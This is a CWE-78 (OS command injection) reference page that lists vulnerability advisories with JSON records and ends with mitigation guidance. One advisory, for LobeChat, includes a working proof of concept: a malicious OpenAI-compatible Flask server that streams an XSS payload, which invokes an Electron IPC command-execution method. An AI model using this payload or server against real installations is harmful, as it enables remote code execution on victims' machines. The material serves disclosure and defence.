CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8243 vulnerabilities reference this CWE, most recent first.
GHSA-XQ2J-2JWJ-GFCQ
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-16 15:32TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the "hour" parameter in setScheduleCfg.
{
"affected": [],
"aliases": [
"CVE-2024-57015"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T17:15:17Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the \"hour\" parameter in setScheduleCfg.",
"id": "GHSA-xq2j-2jwj-gfcq",
"modified": "2025-01-16T15:32:09Z",
"published": "2025-01-15T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57015"
},
{
"type": "WEB",
"url": "https://github.com/tiger5671/Vulnerabilities/blob/main/TOTOLINK%20X5000R/setScheduleCfg/setScheduleCfg.md"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQ3M-82WP-9899
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11Authenticated Semi-Blind Command Injection (via Parameter Injection) exists on Altus Nexto, Nexto Xpress, and Hadron Xtorm devices via the getlogs.cgi tcpdump feature. This affects Nexto NX3003 1.8.11.0, Nexto NX3004 1.8.11.0, Nexto NX3005 1.8.11.0, Nexto NX3010 1.8.3.0, Nexto NX3020 1.8.3.0, Nexto NX3030 1.8.3.0, Nexto NX5100 1.8.11.0, Nexto NX5101 1.8.11.0, Nexto NX5110 1.1.2.8, Nexto NX5210 1.1.2.8, Nexto Xpress XP300 1.8.11.0, Nexto Xpress XP315 1.8.11.0, Nexto Xpress XP325 1.8.11.0, Nexto Xpress XP340 1.8.11.0, and Hadron Xtorm HX3040 1.7.58.0.
{
"affected": [],
"aliases": [
"CVE-2021-39244"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-23T05:15:00Z",
"severity": "HIGH"
},
"details": "Authenticated Semi-Blind Command Injection (via Parameter Injection) exists on Altus Nexto, Nexto Xpress, and Hadron Xtorm devices via the getlogs.cgi tcpdump feature. This affects Nexto NX3003 1.8.11.0, Nexto NX3004 1.8.11.0, Nexto NX3005 1.8.11.0, Nexto NX3010 1.8.3.0, Nexto NX3020 1.8.3.0, Nexto NX3030 1.8.3.0, Nexto NX5100 1.8.11.0, Nexto NX5101 1.8.11.0, Nexto NX5110 1.1.2.8, Nexto NX5210 1.1.2.8, Nexto Xpress XP300 1.8.11.0, Nexto Xpress XP315 1.8.11.0, Nexto Xpress XP325 1.8.11.0, Nexto Xpress XP340 1.8.11.0, and Hadron Xtorm HX3040 1.7.58.0.",
"id": "GHSA-xq3m-82wp-9899",
"modified": "2022-05-24T19:11:58Z",
"published": "2022-05-24T19:11:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39244"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2021/Aug/21"
},
{
"type": "WEB",
"url": "https://www.altus.com.br"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XQ4X-622M-Q8FQ
Vulnerability from github – Published: 2026-05-05 18:04 – Updated: 2026-05-13 16:25Summary
The vulnerability was automatically discovered by an ai agent and then manually verified.
LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).
The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.
Details
When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.
const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
switch (type) {
case 'application/lobe.artifacts.react': {
return <ReactRenderer code={content} />;
}
case 'image/svg+xml': {
return <SVGRender content={content} />;
}
case 'application/lobe.artifacts.mermaid': {
return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}
case 'text/markdown': {
return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
}
default: {
return <HTMLRenderer htmlContent={content} />;
}
}
});
export default Renderer;
If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.
Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.
@IpcMethod()
async handleRunCommand({
command,
description,
run_in_background,
timeout = 120_000,
}: RunCommandParams): Promise<RunCommandResult> {
...
const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
env: process.env,
shell: false,
});
...
}
PoC
The attacker launched a malicious OpenAI gateway on port 5001
from flask import Flask, Response, request, jsonify
import time
import json
app = Flask(__name__)
fake_api_key = "sk-test"
@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
if request.method == 'OPTIONS':
return Response(status=200, headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
# Check for API Key
auth_header = request.headers.get('Authorization')
print(auth_header)
if not auth_header or auth_header != f'Bearer {fake_api_key}':
return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401
def generate():
payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
# Split payload into chunks to simulate streaming
chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
for chunk in chunks:
data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {"content": chunk},
"finish_reason": None
}]
}
yield f"data: {json.dumps(data)}\n\n"
time.sleep(0.1)
# End of stream
final_data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {},
"finish_reason": "stop"
}]
}
yield f"data: {json.dumps(final_data)}\n\n"
yield "data: [DONE]\n\n"
return Response(generate(), mimetype='text/event-stream', headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
@app.route('/v1/models', methods=['GET'])
def models():
return jsonify({
"object": "list",
"data": [{
"id": "gpt-3.5-turbo",
"object": "model",
"created": 1677610602,
"owned_by": "openai"
}]
})
if __name__ == '__main__':
print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
app.run(port=5001, debug=True)
The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.
The victim was exposed to an arbitrary command execution vulnerability while chatting
reproduction
For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.
https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d
Impact
Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.
Patch
A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lobehub/lobehub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42045"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:04:53Z",
"nvd_published_at": "2026-05-12T18:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe vulnerability was automatically discovered by an ai agent and then manually verified.\n\nLobeChat\u0027s message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process\u0027s exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).\n\nThe LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.\n\n### Details\nWhen LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.\n\n```typescript\nconst Renderer = memo\u003c{ content: string; type?: string }\u003e(({ content, type }) =\u003e {\n switch (type) {\n case \u0027application/lobe.artifacts.react\u0027: {\n return \u003cReactRenderer code={content} /\u003e;\n }\n\n case \u0027image/svg+xml\u0027: {\n return \u003cSVGRender content={content} /\u003e;\n }\n\n case \u0027application/lobe.artifacts.mermaid\u0027: {\n return \u003cMermaid variant={\u0027borderless\u0027}\u003e{content}\u003c/Mermaid\u003e;\n }\n\n case \u0027text/markdown\u0027: {\n return \u003cMarkdown style={{ overflow: \u0027auto\u0027 }}\u003e{content}\u003c/Markdown\u003e;\n }\n\n default: {\n return \u003cHTMLRenderer htmlContent={content} /\u003e;\n }\n }\n});\n\nexport default Renderer;\n```\n\nIf an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.\n\nAdditionally, Lobechat\u0027s Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user\u0027s privileges.\n\n```typescript\n @IpcMethod()\n async handleRunCommand({\n command,\n description,\n run_in_background,\n timeout = 120_000,\n }: RunCommandParams): Promise\u003cRunCommandResult\u003e {\n ...\n const childProcess = spawn(shellConfig.cmd, shellConfig.args, {\n env: process.env,\n shell: false,\n });\n ...\n }\n```\n\n### PoC\nThe attacker launched a malicious OpenAI gateway on port 5001\n\n```python\nfrom flask import Flask, Response, request, jsonify\nimport time\nimport json\n\napp = Flask(__name__)\nfake_api_key = \"sk-test\"\n\n@app.route(\u0027/v1/chat/completions\u0027, methods=[\u0027POST\u0027, \u0027OPTIONS\u0027])\ndef chat_completions():\n if request.method == \u0027OPTIONS\u0027:\n return Response(status=200, headers={\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n })\n\n # Check for API Key\n auth_header = request.headers.get(\u0027Authorization\u0027)\n print(auth_header)\n if not auth_header or auth_header != f\u0027Bearer {fake_api_key}\u0027:\n return jsonify({\"error\": {\"message\": \"Invalid API Key\", \"type\": \"invalid_request_error\", \"code\": \"invalid_api_key\"}}), 401\n\n def generate(): \n payload = \"\"\"\n\u003clobeArtifact type=\"nebula\"\u003e\n\u003cimg src=x onerror=\u0027window.parent.electronAPI.invoke(\"shellCommand.handleRunCommand\", {command:\"open -a Calculator\"})\u0027\u003e\n\u003c/lobeArtifact\u003e\n\"\"\"\n # Split payload into chunks to simulate streaming\n chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]\n \n for chunk in chunks:\n data = {\n \"id\": \"chatcmpl-hpdoger-123\", \n \"object\": \"chat.completion.chunk\", \n \"created\": int(time.time()), \n \"model\": \"gpt-3.5-turbo\", \n \"choices\": [{\n \"index\": 0, \n \"delta\": {\"content\": chunk},\n \"finish_reason\": None\n }]\n }\n yield f\"data: {json.dumps(data)}\\n\\n\"\n time.sleep(0.1)\n \n # End of stream\n final_data = {\n \"id\": \"chatcmpl-hpdoger-123\", \n \"object\": \"chat.completion.chunk\", \n \"created\": int(time.time()), \n \"model\": \"gpt-3.5-turbo\", \n \"choices\": [{\n \"index\": 0, \n \"delta\": {},\n \"finish_reason\": \"stop\"\n }]\n }\n yield f\"data: {json.dumps(final_data)}\\n\\n\"\n yield \"data: [DONE]\\n\\n\"\n\n return Response(generate(), mimetype=\u0027text/event-stream\u0027, headers={\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027, \n \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n })\n\n@app.route(\u0027/v1/models\u0027, methods=[\u0027GET\u0027])\ndef models():\n return jsonify({\n \"object\": \"list\", \n \"data\": [{\n \"id\": \"gpt-3.5-turbo\", \n \"object\": \"model\", \n \"created\": 1677610602, \n \"owned_by\": \"openai\"\n }]\n })\n\nif __name__ == \u0027__main__\u0027:\n print(\"Evil OpenAI-compatible server running on http://127.0.0.1:5001\")\n app.run(port=5001, debug=True)\n```\n\nThe victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.\n\n\u003cimg width=\"2048\" height=\"772\" alt=\"image\" src=\"https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7\" /\u003e\n\nThe victim was exposed to an arbitrary command execution vulnerability while chatting\n\n\u003cimg width=\"2048\" height=\"1036\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9\" /\u003e\n\n### reproduction\nFor attack reproduction, refer to this video. Once the victim configures the attacker\u0027s LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim\u0027s environment.\n\nhttps://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d\n\n### Impact\nAffected LobeChat clients can connect to the attacker\u0027s LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.\n\n### Patch\nA patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.",
"id": "GHSA-xq4x-622m-q8fq",
"modified": "2026-05-13T16:25:25Z",
"published": "2026-05-05T18:04:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42045"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobehub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution"
}
GHSA-XQ54-79CV-MCQ9
Vulnerability from github – Published: 2022-03-17 00:00 – Updated: 2022-03-26 00:00Arris TR3300 v1.0.13 was discovered to contain a command injection vulnerability in the wps setting function via the wps_enrolee_pin parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2022-26998"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-15T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Arris TR3300 v1.0.13 was discovered to contain a command injection vulnerability in the wps setting function via the wps_enrolee_pin parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.",
"id": "GHSA-xq54-79cv-mcq9",
"modified": "2022-03-26T00:00:50Z",
"published": "2022-03-17T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26998"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/ARRIS/vuln_11/11.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQ6J-X8PQ-G3GR
Vulnerability from github – Published: 2023-05-02 15:30 – Updated: 2023-05-02 19:56appium-desktop v1.14.1 and prior is vulnerable to OS Command Injection.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "appium-desktop"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-2479"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-02T19:56:50Z",
"nvd_published_at": "2023-05-02T15:15:23Z",
"severity": "CRITICAL"
},
"details": "appium-desktop v1.14.1 and prior is vulnerable to OS Command Injection.",
"id": "GHSA-xq6j-x8pq-g3gr",
"modified": "2023-05-02T19:56:50Z",
"published": "2023-05-02T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2479"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium-desktop"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "appium-desktop OS Command Injection vulnerability"
}
GHSA-XQ8J-75W7-8Q64
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2025-11-04 21:30Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in vcd_recorder_main.
{
"affected": [],
"aliases": [
"CVE-2023-35961"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T15:15:11Z",
"severity": "HIGH"
},
"details": "Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in `vcd_recorder_main`.",
"id": "GHSA-xq8j-75w7-8q64",
"modified": "2025-11-04T21:30:56Z",
"published": "2024-01-08T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35961"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1786"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1786"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQC8-JWV2-X9C2
Vulnerability from github – Published: 2026-04-13 18:30 – Updated: 2026-04-22 15:31Improper Neutralization of Special Elements used in an OS Command vulnerability allows OS Command Injection via Network Report. This issue affects Pandora FMS: from 777 through 800
{
"affected": [],
"aliases": [
"CVE-2026-30806"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-13T16:16:25Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an OS Command vulnerability allows OS Command Injection via Network Report. This issue affects Pandora FMS: from 777 through 800",
"id": "GHSA-xqc8-jwv2-x9c2",
"modified": "2026-04-22T15:31:32Z",
"published": "2026-04-13T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30806"
},
{
"type": "WEB",
"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-XQC8-PR7J-CJ3W
Vulnerability from github – Published: 2026-06-30 09:31 – Updated: 2026-06-30 09:31DGM3103SCT provided by AVTECH Security Corporation contains an OS command injection vulnerability, which may lead to arbitrary command execution with the root privilege by a user who can log in to the web management console of the affected product.
{
"affected": [],
"aliases": [
"CVE-2026-56808"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T07:16:32Z",
"severity": "HIGH"
},
"details": "DGM3103SCT provided by AVTECH Security Corporation contains an OS command injection vulnerability, which may lead to arbitrary command execution with the root privilege by a user who can log in to the web management console of the affected product.",
"id": "GHSA-xqc8-pr7j-cj3w",
"modified": "2026-06-30T09:31:35Z",
"published": "2026-06-30T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56808"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN28979424"
},
{
"type": "WEB",
"url": "https://www.avtech.com.tw/global/en/IP%20Camera?search=DGM3103SCT"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XQG3-VX4P-JMWM
Vulnerability from github – Published: 2024-12-18 21:30 – Updated: 2025-10-22 00:33A vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) which can allow an attacker with existing administrative privileges to inject commands and run as a site user.
{
"affected": [],
"aliases": [
"CVE-2024-12686"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T21:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) which can allow an attacker with existing administrative privileges to inject commands and run as a site user.",
"id": "GHSA-xqg3-vx4p-jmwm",
"modified": "2025-10-22T00:33:11Z",
"published": "2024-12-18T21:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12686"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/bt24-11"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12686"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQGH-QJ2V-FJFX
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2025-10-22 00:31upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.
{
"affected": [],
"aliases": [
"CVE-2018-14933"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-04T19:29:00Z",
"severity": "CRITICAL"
},
"details": "upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.",
"id": "GHSA-xqgh-qj2v-fjfx",
"modified": "2025-10-22T00:31:36Z",
"published": "2022-05-13T01:50:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14933"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-14933"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45070"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
